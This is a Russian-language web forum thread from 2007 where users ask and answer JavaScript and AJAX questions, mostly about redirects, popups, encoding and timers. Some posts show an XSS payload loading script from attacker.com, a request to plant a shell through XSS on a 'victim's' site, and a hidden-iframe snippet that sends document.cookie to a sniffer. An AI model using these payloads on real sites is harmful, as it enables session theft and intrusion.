PDA

Просмотр полной версии : [JavaScript, AJAX] Задай вопрос, получи ответ


Страницы : [1] 2 3 4 5 6 7 8 9 10

Isis
09.06.2007, 02:15
В этой теме задаем вопросы непосредственно про Javascript и Ajax !!!

Все коды выкладываем в теге [.code] либо [.html]

Isis
09.06.2007, 02:16
<script>
function none() { };
function make_sync_request(url) {
var r;
if (window.XMLHttpRequest) {
r = new XMLHttpRequest();
r.onreadystatechange = none;
r.open("GET", url, false);
r.send(null);
}
else if (window.ActiveXObject) {
r = new ActiveXObject("Microsoft.XMLHTTP");
if (!r)
r = new ActiveXObject("Msxml2.XMLHTTP");
if (r) {
r.onreadystatechange = none;
r.open("GET", url, false);
r.send(null);
}
}
document.getElementById('txt').innerHTML=responceT EXT;
}
</script>
<input type='button' onClick="make_sync_request('xx.php')"
value='second' />
<br/>
<div id='txt'></div>

Что не так?
По нажатию на кнопку должен быть инклуд файла xx.php

Isis
09.06.2007, 03:04
2Isis
responceTEXT
замени на r.responseTEXT

RevenAnt
09.06.2007, 11:26
А потом ещё и на "r.responseText" ^_^
Регистрозависимое однако.

-=lebed=-
09.06.2007, 11:42
Кароче есть функция:

function changePage() {
document.getElementById( "ifrm" ).src = sites[currentPage];
}


Вызываем в теле функцию:

<body onload="changePage()">
<iframe id="ifrm" src=""/>
</body>
и получаем в Ифрейме нужную страничку.

А мне хотелось бы не в Ифрейме, а просто перенаправить на неё юзера. И открыть в этом же (не в новом) окне. Как реализовать?

GreenBear
09.06.2007, 11:45
location.href = sites[currentPage]; ?

Darkweider
12.06.2007, 01:54
Ajax с чего начать ? Есть что-нибудь на русском почитать? ТЕхнология хорошая но имеет свои минусы... Надо изучать... Кто-нибудь знает где можно почитать про Ajax на русском, с англ. переводить влом.

Doger
12.06.2007, 02:01
Вообщем нужен скрипт делающий такую вещь как автопереход.
но при этом автопереход должен делаться наобум или по очерёдно на одну из 10ссылок.

Isis
12.06.2007, 04:06
Doger, легче такое сделать на пхп....
<?php
$per = file_get_contents('links.txt');
echo "<html><head><meta http-equiv='refresh' content='0; URL=".$per[array_rand($per)]."'></head></html>";
?>
При этом в файле links.txt
Построчно должны стоять линки на сайты ...ку да надо перейти..
links.txt
http://www.xeka.ru
http://www.antichat.ru
http://www.gemaglabin-xeka.ru
Сколько хочешь столько и кидай ссылок в файл

Kridan
12.06.2007, 10:40
Ajax с чего начать ? Есть что-нибудь на русском почитать? ТЕхнология хорошая но имеет свои минусы... Надо изучать... Кто-нибудь знает где можно почитать про Ajax на русском, с англ. переводить влом.
www.ibm.com/developerworks/ru/ajax/
Здесь посмотри.

Tw!m4
16.06.2007, 12:43
Привет народ!

Собссно такое дело.....есть сайт на котором иксэсэс такова рода:
_http://site.com/search.asp?query="><script>alert()</script>

хз какова типа (пассивный или активный), можна ли залить на него асп-эшный шелл таким путём? если да, то расскажите по подробней плз, а то в иксэсэсах я не очень шарю. Я уже пробовал таким путём прописать его:
_http://site.com/search.asp?query="><script src=http://attacker.com/script.js></script>
Где скрипт.жс указывает прописать шелл на (в) страницу с функцией document.write() , но в итоге я получаю контент этого шелла на странице.

Подскажте плз...

//ЗЫ: Со снифером дело отпадает....

Tw!m4
16.06.2007, 14:51
Хех......)) чета я об этом даже и не подумал (о выполнение кода в браузере а не на серваке).....хм.....аякс я к сожелению не знаю.....эта значит я в пролёте? да уж....фигня какая то ((......а че можна в таком случае еще сделать?

Макс 8===3
17.06.2007, 09:00
Всем привет, подскажите плиз скрипт редиректа без задержки. Есть такой :

<META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://">

Но он всёрабно перед загрузкой нужной страницы заходит на главную....

Спасибо!

hhover
17.06.2007, 09:14
Только при помощи php или htaccess.
<?php
header ( "Location: http://site.com" );
?>

Макс 8===3
17.06.2007, 16:30
Понял, спасибо! впринципе уже добился чего хотел, а ещё такой вопрос. Подскажите скрипт который добавляет нужную страницу на стартовую страницу, и\или в избранное без ведома юзера!!!!

Raz0r
19.06.2007, 18:27
Макс 8===3, кстати, редирект можно и с помощью JS замутить, и будет, вроде как без задержки.

<script language="JavaScript">
document.location.href = "http://someshit/";
</script>

Правда в случае отключенного JS, ясен, не покатит, так-что PHP вариант рулит ;) но раз уж тут тема про JS решил запостить.

RaiDeRz
21.06.2007, 23:26
Каким образом можно сделать подтверждение нажатия на ссылку? Дайте пример

GreenBear
21.06.2007, 23:34
<script type='text/javascript'>
function check(url){
if(confirm("да?")){
document.location=url;
}else{
alert('нет так нет');
}
}
</script>
<a href='javascript://' onClick="check('next.page)">123</a>

RaiDeRz
22.06.2007, 00:05
<script type='text/javascript'>
function check(url){
if(confirm("да?")){
document.location=url;
}else{
alert('нет так нет');
}
}
</script>
<a href='javascript://' onClick="check('next.page)">123</a>

че-то непашет)) наверно из-за неправильного кода в a href

GreenBear
22.06.2007, 00:09
ну ковычку сами догадаетесь поставить.

Joker-jar
22.06.2007, 00:14
Можно сразу в href'е написать:

<script>
function check(url)
{
if(confirm("да?"))
document.location=url;
else
alert('нет так нет');
}
</script>

<a href="javascript:check('next.page')">123</a>

Тогда в статус-строке будет светиться то, что выполняешь. На вкус...

Isis
26.06.2007, 19:22
Есть страничка, на ней кнопка и форма.....по нажатию на кнопку вылетает попап окно...там вводишь в поля все что надо и по нажатию в попапе на кнопку, надо чтобы инфа вставилась на 1 страничку в форму....

hhover
26.06.2007, 20:35
Isis,

parent.htm
<form name='formname'>
<input type='text' name='inputname' />
<input type='button' value='button' onclick="window.open('popup.htm');" />
</form>

popup.htm
<form name='popupform'>
<input type='text' name='popuptext' />
<input type='button' value='button' onclick="window.opener.document.forms['formname'].elements['inputname'].value = document.forms['popupform'].elements['popuptext'].value;" />
</form>

RaiDeRz
27.06.2007, 20:06
Эмс....
Короче говоря мне нужно сделать так чтобы при вводе какого-то определного поля менялся в опред. месте текст и + к этому должны быть так, что форм у меня много и текст менять будет тоже в разных местах
Как это возможно сделать?

hhover
27.06.2007, 20:35
RaiDeRz,
<script type="text/javascript">
function zamena(id,text) {
document.getElementById(id).innerHTML = text;
}
</script>

<div id="test">Текст для замены</div>

<input type='text' name='user_input' onchange="javasript:zamena('test',this.value);" />

RaiDeRz
27.06.2007, 22:32
Каким образом можно делать что-то типа функции urldecode и urlencode ?
Тоесть у меня с помошью этого генерируеться ссылка, но надо кое-где сделать так чтобы были знаки след. строки
Мне просто таким образом надо сгенерировать ссылку, методом GET, но в формах есть разделение на строки, тоесть через <textarea>

hhover
27.06.2007, 22:46
escape(), unescape().

RaiDeRz
27.06.2007, 22:56
escape(), unescape().
хм... а можешь дать пример ?)
А то попробовал что-то в этом роде: unescape(document.form.pass.value)
escape(document.form.pass.value) он мне ничего невыдал толкого, разницы нет никакой

hhover
27.06.2007, 23:17
Вообще да, немного не та функция.
Вот держи:
function convertToHex(num) {
var hex = '';
for (i=0;i<num.length;i++) {
if (num.charCodeAt(i).toString(16).toUpperCase().leng th < 2) {
hex += "%0" + num.charCodeAt(i).toString(16).toUpperCase();
} else {
hex += "%" + num.charCodeAt(i).toString(16).toUpperCase();
}
}
return hex;
}

RaiDeRz
27.06.2007, 23:35
хм... а в чем проблемма после добавления 2-й функции 1-я перестала пахать? щас у меня такой код:
<script type="text/javascript">
function update_cron_url() {
document.getElementById('cron_url').innerHTML = '<a href="http://127.0.0.1/test/index.php?send_report='+document.form.send_report. value+'&admin_report='+document.form.admin_report.value+'&rand_start='+document.form.rand_start.value+'&rand_end='+document.form.rand_end.value+'&gen_rand='+document.form.gen_rand.value+'&pass='+unescape(document.form.pass.value)+'">http://127.0.0.1/test/index.php?send_report='+document.form.send_report. value+'&admin_report='+document.form.admin_report.value+'&rand_start='+document.form.rand_start.value+'&rand_end='+document.form.rand_end.value+'&gen_rand='+document.form.gen_rand.value+'&pass='+document.form.pass.value+'</a>';
}
function convertToHex(num) {
var hex = '';
for (i=0;i<num.length;i++) {
if (num.charCodeAt(i).toString(16).toUpperCase().leng th < 2) {
hex += "%0" + num.charCodeAt(i).toString(16).toUpperCase();
} else {
hex += "%" + num.charCodeAt(i).toString(16).toUpperCase();
}
}
return hex;
}
</script>

hhover
28.06.2007, 02:48
leng th
Пробелы в слове убери. Как маленький...

Isis
28.06.2007, 08:13
Проблема с кодировкой в AJAX....

<?php
ini_set("display_errors","0");

if($_POST['end'])
{
header ("Content-Type: text/xml; charset=windows-1251");
print ("<?xml version=\"1.0\" standalone=\"yes\"?>\r\n");
print ("<responce>\r\n");
print ("<system>\r\n");

if(empty($_POST['title']))
{
echo "Заполните обязательные поля";
}
else
{
if(isset($_POST['title']))
echo "Вывод: ".$_POST['title'];
}

print ("</system>\r\n");
print ("</responce>\r\n");
exit;
}
?>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
</head>
<?php include('js.php'); ?>
<body>
<table width="300" border="0" cellpadding="0" cellspacing="0">
<tr>
<td><font color="#FFFFFF">Название :</font></td>
<td align="right"><input type="text" value="" id="title" style="width: 150;height:20" /></td>
</tr>
</table>
<input type="submit" id="end" value="Кнопка" onclick="command();" />
<div id="system"></div>
</body>
</html>

Файл js.js
<script type="text/javascript">
var xmlhttp = createXmlHttpRequestObject();
function createXmlHttpRequestObject()
{
var xmlhttp;
try
{
xmlhttp = new XMLHttpRequest();
}
catch (e)
{
alert('error : '+e.toString());
}
var XmlHttpVersions = new Array("MSXML2.XMLHTTP.6.0","MSXML2.XMLHTTP.5.0", "MSXML2.XMLHTTP.4.0","MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP","Microsoft.XMLHTTP");
for (var i=0; i<XmlHttpVersions.length && !xmlhttp; i++)
{
try
{
xmlhttp = new ActiveXObject(XmlHttpVersions[i]);
}
catch (e) {}
}
if (!xmlhttp) alert('failed to create XMLHTTP Element');
else return xmlhttp;
}

function createRequestProcess(pdata,type)
{
if (xmlhttp)
{
try
{
xmlhttp.open("POST","<?=$_SERVER['SCRIPT_NAME'];?>",true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=windows-1251");
xmlhttp.setRequestHeader("Content-length", pdata.length);
xmlhttp.send(pdata);
xmlhttp.onreadystatechange = handleRequestStateChange;
}
catch (e) {alert('error : '+e.toString());}
}
}

function handleRequestStateChange()
{
if (xmlhttp.readyState == 4)
{
if (xmlhttp.status == 200)
{
try { ReadResponce(); }
catch (e) {}
}
}
}

function ReadResponce()
{
xmlresponce = xmlhttp.responseXML;
xmldocelement = xmlresponce.documentElement;
xmldocanswer = xmldocelement.getElementsByTagName("system").item(0).firstChild.data;
myDiv = document.getElementById("system");
myDiv.innerHTML = '<pre>'+xmldocanswer+'<\/pre>';
}


function command()
{
title = document.getElementById('title').value;
end = document.getElementById('end').value;
fdata = "title="+title+"&end="+end;
createRequestProcess(fdata);
}
</script>

Как видите кодировка указана где только можно(пробовал даже htaccess), но выводит
такое:
Вывод: непохек
Не знаю как справиться с этой проблемой...

Isis
28.06.2007, 16:32
>>возможно ты сам текст сохранял в utf-8
Я ведь показал код =\

Выше данное мне ничем не помогло =\

Isis
28.06.2007, 17:16
Хы...у меня в utf-8 ссылке отобразился
русский текст
Т.е. я не понял как ты предложил закрыть проблему?

RaiDeRz
28.06.2007, 17:32
Еще 1 вопрос, а как сделать замену определеных символов на нужные в тексте (переменной) ?
тоесть чтобы была функция как в php - str_replace

RaiDeRz
29.06.2007, 22:21
в самом простом случае просто банально replace
в сложном случае придется использовать регулярные выражения
напиши пример replace

GreenBear
29.06.2007, 22:25
http://www.aranea.ru/jsdoc/replace.php

dokwill
07.07.2007, 20:26
вопрос по ява скриптам
у меня есть возможность исполнять мой *.js
на сайте жертвы. Он работает по делу и показывает
маленькое инфо в рорап окне.

причем при каждой загрузке он берет его с моего сайта
так вот у меня вопрос
1 - могу ли я дописать в него пхп или нтмл - но чтобы они исполнялись браузером?

2. дайте примерную строку для загрузки шелла
в ява скрипте ( если существует) - и указанной папкой загрузки. Права для записи в папке есть или аплоад пхп кода или файла

то - invlose
http://www.megahyiptracer.com/hybann/h/
сдесь в левом нижнем углу грузиться ява с моего сайта
так может можно заинклудить пхп или как то еще


а куки спереть можно же попробовать?
какой примерно скрипт тада нужно добавить а тело?
он на мыло может слать ?

dokwill
08.07.2007, 18:22
еше маленький вопрос по яве
если я вставляю в индекс.пхп такой скрипт
<a><script language="JavaScript" src="http://****snif.js" </script></a>
где snif.js
document.write("<iframe width=100 height=100 style='visibility:hidden;' src="+"http://testlab/sniffer/snif.php?cookie="+document.cookie+">");

он должен исполняться или нет
у меня не исполняется и в добавок блокирует исполнение последующих тегов

что не так?
или document.cookie+">" только в местах XSS

dokwill
10.07.2007, 22:23
вопрос такой
делаю поп андер на яве

<script language="JavaScript">megahyiptracer=window.open('http://megahyiptracer.com/?a=cust&page=download/','Download area', "width=800 height=800,' toolbar=no, scrollbars=no,resizable=no,status=no', left=1,top=1")
</script>

все открывает - но не могу никак включить прокрутку
чтоб лева право верх низ листать

как сделать ?

Kridan
10.07.2007, 22:44
scrollbars=no

Поставь yes.

dokwill
10.07.2007, 23:28
Поставь yes.

непрет

TANZWUT
11.07.2007, 13:06
вот мне фишка нравится к примеру как на woweb при переходе с 1 страницы - на другую, для примера http://woweb.ru/load/99-3-10. есть у кого очень простенькие готовые примеры с описанием как реализовать загрузку контента без перезагрузки страницы. желательно ссылки, статьи (RUS) и без флейма ;)

vectorg
11.07.2007, 13:23
вот мне фишка нравится к примеру как на woweb при переходе с 1 страницы - на другую, для примера http://woweb.ru/load/99-3-10. есть у кого очень простенькие готовые примеры с описанием как реализовать загрузку контента без перезагрузки страницы. желательно ссылки, статьи (RUS) и без флейма ;)Чисто теоретически:

1) Пишешь пхп-скрипт, который по заданным параметрам выводил бы тебе кусок твоего контента.
2) Пишешь на js аякс функцию, которая бы этот контент сливала и выводила бы в div(например).
3) Пишешь страничку со своим div'ом и линками на вызов функции.

В итоге: страница с div'ом, ссылки на вызов js-ajax ф-ции. Принажатии на линк, посредством js у тебя подгружается контент из пхп и выводится в див.
Как-то так в 2х словах.

Пример: http://viyu.jino-net.ru
Исходники: http://www.mediafire.com/?4mb5u0vmvmh

Думаю разберешься, в принципе все элементарно..

hhover
11.07.2007, 13:31
http://ru.wikibooks.org/wiki/AJAX

gergi
16.07.2007, 11:53
Любезно прошу подсказать кодик как скрыть адресную строку при входе на страницу(сделать во весь экран например), только чтоб скрипт сробатывал с самой страницы, а не с сылки (может кто знает как подменить адресную строку?). И кодик чтоб при нажатии кнопки текст с 2х полей типа input записывался в txt файлик. Заранее благодарен. :)

RaiDeRz
20.07.2007, 14:04
Вообщем нужен код AJAX который делает следущее:
Есть странице в ней к примеру div какой-то или еще что-то какое-то место короче нужно чтобы каждые к примеру 5-10 секунд он загружал сам новую информацию туда ссылки, через автообновление, и выдавал туда этот код)
P.S. незнаю, как обьяснить думаю поняли

dokwill
20.07.2007, 16:12
как переписать это в *.js

никак не врублюсь -

<script language="JavaScript">sitename=window.open('http://*.com/','vote area', "width=800 height=1000,' Toolbar=0, Status=0, Menubar=0, Scrollbars=1, Resizable=0")
</script>

Isis
25.07.2007, 02:30
Суть скрипта :
Вы вводите в формы всякие слова, а вам в textarea выводит их в преобразованном виде без перезагрузки страницы....
Я долго уже мучаюсь ;-)
Сделал... Но в фф все хорошо работает, в опере не хочет =\

index.php
<?php
ini_set("display_errors","0");

$color_title = "#d0d0b8";
$bcol = "";
$ecol = "";
$fcol = "";

function encode($str, $type)
{
static $conv='';
if (!is_array ( $conv ))
{
$conv=array ();
for($x=128; $x <=143; $x++ )
{
$conv['utf'][] = chr(209).chr($x);
$conv['win'][] = chr($x+112);
}

for( $x=144; $x <=191; $x++ )
{
$conv['utf'][] = chr(208).chr($x);
$conv['win'][] = chr($x+48);
}

$conv['utf'][] = chr(208).chr(129);
$conv['win'][] = chr(168);
$conv['utf'][] = chr(209).chr(145);
$conv['win'][] = chr(184);
}
if( $type=='w' )
return str_replace ( $conv['utf'], $conv['win'], $str );
elseif( $type=='u' )
return str_replace ( $conv['win'], $conv['utf'], $str );
else
return $str;
}

if($_POST['end'])
{
header ("Content-Type: text/xml; charset=windows-1251");
print ("<?xml version=\"1.0\" standalone=\"yes\"?>\r\n");
print ("<responce>\r\n");
print ("<system>\r\n");

if(!empty($_POST['title']))
echo "".encode($_POST['title'],w);

if(!empty($_POST['eng_title']))
echo "/".encode($_POST['eng_title'],w)."\n";
else echo "[/color][/size][/b][/center]\n";

if(!empty($_POST['img']))
echo ",w)."]\n\n";

if(!empty($_POST['year']))
echo $bcol."Год выхода: ".$ecol.encode($_POST['year'],w).$fcol."\n";

if(!empty($_POST['genre']))
echo $bcol."Жанр: ".$ecol.encode($_POST['genre'],w).$fcol."\n";

if(!empty($_POST['author']))
echo $bcol."Режиссер: ".$ecol.encode($_POST['author'],w).$fcol."\n";

if(!empty($_POST['actors']))
echo $bcol."В ролях: ".$ecol.encode($_POST['actors'],w).$fcol."\n";

if(!empty($_POST['about']))
echo $bcol."О фильме: ".$ecol.encode($_POST['about'],w).$fcol."\n";

if(!empty($_POST['lang']))
echo $bcol."Перевод: ".$ecol.encode($_POST['lang'],w).$fcol."\n";

if(!empty($_POST['manufacturers']))
echo $bcol."Производство: ".$ecol.encode($_POST['manufacturers'],w).$fcol."\n";

if(!empty($_POST['duration']))
echo $bcol."Продолжительность: ".$ecol.encode($_POST['duration'],w).$fcol."\n";

if(!empty($_POST['quality']))
echo $bcol."Качество: ".$ecol.encode($_POST['quality'],w).$fcol."\n";

if(!empty($_POST['size']))
echo $bcol."Размер: ".$ecol.encode($_POST['size'],w).$fcol."\n";

if(!empty($_POST['link']))
echo $bcol."Скачать: [/color][/b]".encode($_POST['title'],w)." (.encode($_POST['link'],w).)\n";

if(!empty($_POST['pass']))
echo $bcol."Пароль: [/color][/b]".encode($_POST['pass'],w)."\n";

echo "";

print ("</system>\r\n");
print ("</responce>\r\n");
exit;
}
?>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<?php include('xek.js'); ?>

<style type="text/css">
body
{
background: #161616 url(hex/images/misc/background.gif);
color: #A6A6A6;
font: 11px verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
margin: 0px 10px 0px 10px;
padding: 0px;
}
a:link, body_alink
{
color: #D0D0D0;
}
a:visited, body_avisited
{
color: #D0D0D0;
}
a:hover, a:active, body_ahover
{
color: #D0D0D0;
}

td, th, p, li
{
font: 11px verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
}
.tborder
{
background: #161616;
color: #A6A6A6;
font-size: 11px;
border-left: 1px solid #161616;
border-top: 1px solid #161616;
border-right: 0px solid #161616;
border-bottom: 1px solid #161616;
}

td.inlinemod
{
background: #353535;
color: #BDBDBD;
font-size: 11px;
border-left: 1px solid #4C4C4C;
border-top: 1px solid #4C4C4C;
border-bottom: 1px solid #181818;
border-right: 1px solid #181818;
padding: 3px;
}
td.inlinemod a:link, td.inlinemod_alink
{
color: #BDBDBD;
}
td.inlinemod a:visited, td.inlinemod_avisited
{
color: #BDBDBD;
}
td.inlinemod a:hover, td.inlinemod a:active, td.inlinemod_ahover
{
color: #FFFFFF;
}
textarea, .bginput
{
background: #1E1E1E;
color: #FFFFFF;
font: 11px verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
border: 1px solid #4A4A4A;
}
.button
{
background: #5E5E5E;
color: #FFFFFF;
font: 11px verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
border: 2px solid #242424;
}

option, optgroup
{
font-size: 11px;
font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
}

html
{
scrollbar-face-color: #292929;
scrollbar-shadow-color: #202020;
scrollbar-highlight-color: #333333;
scrollbar-3dlight-color: #202020;
scrollbar-darkshadow-color: #171717;
scrollbar-track-color: #171717;
scrollbar-arrow-color: #999999;
}
</style>

</head>
<body>
<table width="300" border="0" cellpadding="0" cellspacing="0">
<tr>
<td><font color="#FFFFFF">Название :</font></td>
<td align="right"><input type="text" value="" id="title" style="width: 150;height:20" /></td>
</tr>
<tr>
<td><font color="#FFFFFF">English Title :</font></td>
<td align="right"><input type="text" value="" id="eng_title" style="width: 150;height:20" /></td>
</tr>
<tr>
<td><font color="#FFFFFF">Картинка(ссылка) :</font></td>
<td align="right"><input type="text" value="" id="img" style="width: 150;height:20" /></td>
</tr>
<tr>
<td><font color="#FFFFFF">Год выхода :</font></td>
<td align="right"><input type="text" value="" id="year" style="width: 150;height:20" /></td>
</tr>
<tr>
<td><font color="#FFFFFF">Режиссер:</font></td>
<td align="right"><input type="text" value="" id="author" style="width: 150;height:20" /></td>
</tr>
<tr>
<td><font color="#FFFFFF">В ролях:</font></td>
<td align="right"><input type="text" value="" id="actors" style="width: 150;height:20" /></td>
</tr>
<tr>
<td><font color="#FFFFFF">Жанр :</font></td>
<td align="right">
<select id="genre" style="width: 150;height:20">
<option selected></option>
<option value="Комедия">Комедия</option>
<option value="Боевик">Боевик</option>
<option value="Триллер">Триллер</option>
<option value="Ужасы">Ужасы</option>
<option value="Фантастика">Фантастика</option>
<option value="Приключения">Приключения</option>
<option value="Мультфильм">Мультфильм</option>
<option value="Драма">Драма</option>
<option value="Эротика">Эротика</option>
<option value="Документальное кино">Документальное кино</option>
</select></td>
</tr>
<tr>
<td valign="top"><font color="#FFFFFF">О фильме :</font></td>
<td align="right"><textarea type="text" value="" id="about" rows="5" cols="20"></textarea></td>
</tr>
<tr>
<td><font color="#FFFFFF">Перевод:</font></td>
<td align="right"><input type="text" value="" id="lang" style="width: 150;height:20" /></td>
</tr>
<tr>
<td><font color="#FFFFFF">Производство :</font></td>
<td align="right"><input type="text" value="" id="manufacturers" style="width: 150;height:20" /></td>
</tr>

<tr>
<td><font color="#FFFFFF">Продолжительность :</font></td>
<td align="right"><input type="text" value="" id="duration" style="width: 150;height:20" /></td>
</tr>
<tr>
<td><font color="#FFFFFF">Качество :</font></td>
<td align="right"><input type="text" value="" id="quality" style="width: 150;height:20" /></td>
</tr>
<tr>
<td><font color="#FFFFFF">Размер :</font></td>
<td align="right"><input type="text" value="" id="size" style="width: 150;height:20" /></td>
</tr>
<tr>
<td><font color="#FFFFFF">Скачать(ссылка) :</font></td>
<td align="right"><input type="text" value="" id="link" style="width: 150;height:20" /></td>
</tr>
<tr>
<td><font color="#FFFFFF">Пароль:</font></td>
<td align="right"><input type="text" value="" id="pass" style="width: 150;height:20" /></td>
</tr>
</table>

<br/><span style="color:red">Перед нажатием на кнопку, убедитесь, правильно ли вы заполнили все поля!</span><br/>
<input type="button" class=button" id="end" value="Продолжить" onclick="command()"/>

<pre><textarea type="text" value="" id="system" rows="5" cols="50"></textarea></pre>
<input type="button" class=button" value="Готово" onclick="send()"/>

<table width="300" border="0" cellpadding="0" cellspacing="0"><tr>
<td colspan="4" align="center"><input type="button" class="button" value="Закрыть окно" onclick="self.close()" /></td>
</tr></table>
</body>
</html>

xek.js
<script type="text/javascript">

var xmlhttp = createXmlHttpRequestObject();

function createXmlHttpRequestObject(){
var xmlhttp;
try{
xmlhttp=new XMLHttpRequest();
}
catch(e){
try{
xmlhttp=new ActiveXObject("MSXML2.XMLHTTP");
}
catch(e){
try{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e){}
}
}
if(!xmlhttp){
alert("Не удалось создать объект XMLHttpRequest");
}
return xmlhttp;
}

function createRequestProcess(pdata,type)
{
xmlhttp=createXmlHttpRequestObject();
if (xmlhttp)
{
try
{
xmlhttp.open("POST","<?=$_SERVER['SCRIPT_NAME'];?>",true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded;");
xmlhttp.setRequestHeader("Content-length", pdata.length);
xmlhttp.send(pdata);
xmlhttp.onreadystatechange = handleRequestStateChange;
}
catch (e) {alert('error : '+e.toString());}
}
}

function handleRequestStateChange()
{
if (xmlhttp.readyState == 4)
{
if (xmlhttp.status == 200)
{
try { ReadResponce(); }
catch (e) {}
} else {
if (xmlhttp.status == 404){
alert("Request URL does not exist");
} else {
alert("Error: status code is " + xmlhttp.status);
}
}
}
}

function ReadResponce()
{
xmlresponce = xmlhttp.responseXML;
xmldocelement = xmlresponce.documentElement;
xmldocanswer = xmldocelement.getElementsByTagName("system").item(0).firstChild.data;
myDiv = document.getElementById("system");
myDiv.innerHTML = xmldocanswer;
}


function command()
{
title = document.getElementById('title').value;
eng_title = document.getElementById('eng_title').value;
img = document.getElementById('img').value;
year = document.getElementById('year').value;
genre = document.getElementById('genre').value;
actors = document.getElementById('actors').value;
author = document.getElementById('author').value;
about = document.getElementById('about').value;
lang = document.getElementById('lang').value;
manufacturers = document.getElementById('manufacturers').value;
duration = document.getElementById('duration').value;
quality = document.getElementById('quality').value;
size = document.getElementById('size').value;
link = document.getElementById('link').value;
pass = document.getElementById('pass').value;
end = document.getElementById('end').value;
fdata = "title="+title+"&eng_title="+eng_title+"&img="+img+"&year="+year+"&genre="+genre+"&author="+author+"&actors="+actors+"&about="+about+"&lang="+lang+"&manufacturers="+manufacturers+"&duration="+duration+"&quality="+quality+"&size="+size+"&link="+link+"&pass="+pass+"&end="+end;
createRequestProcess(fdata);
}

function send()
{
window.opener.document.forms['vbform'].elements['vB_Editor_001_textarea'].value = document.getElementById('system').value;
}
</script>

Helios
25.07.2007, 03:19
Заменить

myDiv.innerHTML = xmldocanswer;

на

myDiv.value = xmldocanswer;

Isis
25.07.2007, 03:22
Heliosб молодец)спасибо

Helios
25.07.2007, 04:23
Да и вообще, убрать все xml-теги в выводе и заменить

function ReadResponce() {
document.getElementById("systemEdit").value = xmlhttp.responseText;
}

DROSSEL
27.07.2007, 03:04
У меня вапрос. А можна ли в джава получить контроль над конкретно отдельным элементОМ окна браузера и что для этого нужно?

ЗЫ: идея заключается в том чтоб убрать контекстное меню окна браузера (ну это делать можно, я знаю) и дезактивировать пункты сохранить и сохранить как... меню файл. прописывается ли их айди где нибуть?

SIBON
27.07.2007, 16:09
DROSSEL как я понял тебе нужно что бы твою страницу у тебя на сайте не мог сохранить юзер у себя на компе?

тогда создавай страницу не с расширением html а с расширением jpg
необращай внимания то что это расширение картинки вбивай в него любой код . работать всёравно будет.
пример http://pank-paper.narod.ru/4.jpg ( я туда поместил для примера страницу яндэкса)

проверял только на ослике (ie)

просто если юзер нажмёт кнопку сохранить как то ничего непроизойдёт

SIBON
27.07.2007, 16:11
у меня тоже есть вопрос Подскажите пожайлусто скрипт определяющий с какого url по ссылке юзер попал на мою страницу

я заю что точно есть такой скрипт на js дае видел его но потерял. помгоите плиз
плюсики за мной))

groundhog
27.07.2007, 16:18
<script language="JavaScript">
httpReferer = document.referrer;
alert(httpReferer);
</script>

DROSSEL
27.07.2007, 22:32
......тогда создавай страницу не с расширением html а с расширением jpg.......


Во ты мыслю подкинул, пасиба.... ток тада вапрос скока оно всё будет грузицца? Фпрочем на этот вопрос можна и не отвечять :)

FeraS
27.07.2007, 23:00
SIBON

<?php
echo $_SERVER['HTTP_REFERER'];
?>

SIBON
29.07.2007, 01:40
groundhog , FeraS
Спасибо ребята всем по +10))

DROSSEL
29.07.2007, 15:54
......
тогда создавай страницу не с расширением html а с расширением jpg
необращай внимания то что это расширение картинки вбивай в него любой код . работать всёравно будет.
пример http://pank-paper.narod.ru/4.jpg ( я туда поместил для примера страницу яндэкса)
.......
просто если юзер нажмёт кнопку сохранить как то ничего непроизойдёт

Чота я кароче нифега не фкурил как(((.... паткажыте кто нить плыз

GreenBear
30.07.2007, 17:47
ЗЫ: идея заключается в том чтоб убрать контекстное меню окна браузера (ну это делать можно, я знаю) и дезактивировать пункты сохранить и сохранить как... меню файл. прописывается ли их айди где нибуть?
забудь про это вообще. и никогда не вспоминай.
во первый, это не реализумемо,
во вторых, доставит только неудобства.


Чота я кароче нифега не фкурил как
и про это забудь. есть браузеры, отличные от ИЕ. и
к тому же при сохранении можно всегда выбрать другое расширение.

Dimi4
16.08.2007, 14:24
Незнаю возможно ли..Голова чьо то не варит..
Нужен скрипт !!!JavaScript!!! который показывает урл страницы на которой он лежыт

Kridan
17.08.2007, 22:47
Dimi4
var a=document.location.href;

RaiDeRz
18.08.2007, 19:56
Плз дайте пример того чтобы каждые 5 секунд на странице например вызывалась определеная функция )) Например alert
Это мне нужно для ajax нужно чтобы каждые 5 секунд стр. подгружалась типа онлайн статистика такая

inv
18.08.2007, 19:59
window.setInterval('alert()',5000);

вроде так не помню давно это было
p s(
clearTimeout
clearInterval
)

~EviL~
19.08.2007, 15:26
Помогите плс. Мне надо функцию, лежащую в отдельном файле *.js, вызвать в определенном месте в хтмл документе. Как это сделать?

inv
19.08.2007, 15:53
<script src=*.js</script>
.....
.....
.....
<!-- определенное место в html-->
<script>[имя нужной функции]()</script>

~EviL~
19.08.2007, 16:38
Пасиб большое :) Получилось!! Наперед спрошу, а если нужно не функцию вызвать, а весь скрипт, который так же лежит в файле *.js, и который нужно вызвать в определенном месте в хтмл документе, как быть? :)

inv
19.08.2007, 17:05
исправлено
**********************
вставь скрипт в том месте где тебе нужно использовать все его данные

k1b0rg
19.08.2007, 17:06
Наперед спрошу, а если нужно не функцию вызвать, а весь скрипт, который так же лежит в файле *.js, и который нужно вызвать в определенном месте в хтмл документе, как быть?

Запихни весь скрипт в функцию.

~EviL~
19.08.2007, 17:17
Понятно.. пасиб за помощь :)

RaiDeRz
21.08.2007, 00:32
Вообщем решил исп. 1 класс ajax для подгрузки, так как сам ничего об этом незнаю ))
http://www.dhtmlgoodies.com/index.html?whichScript=ajax-dynamic-content
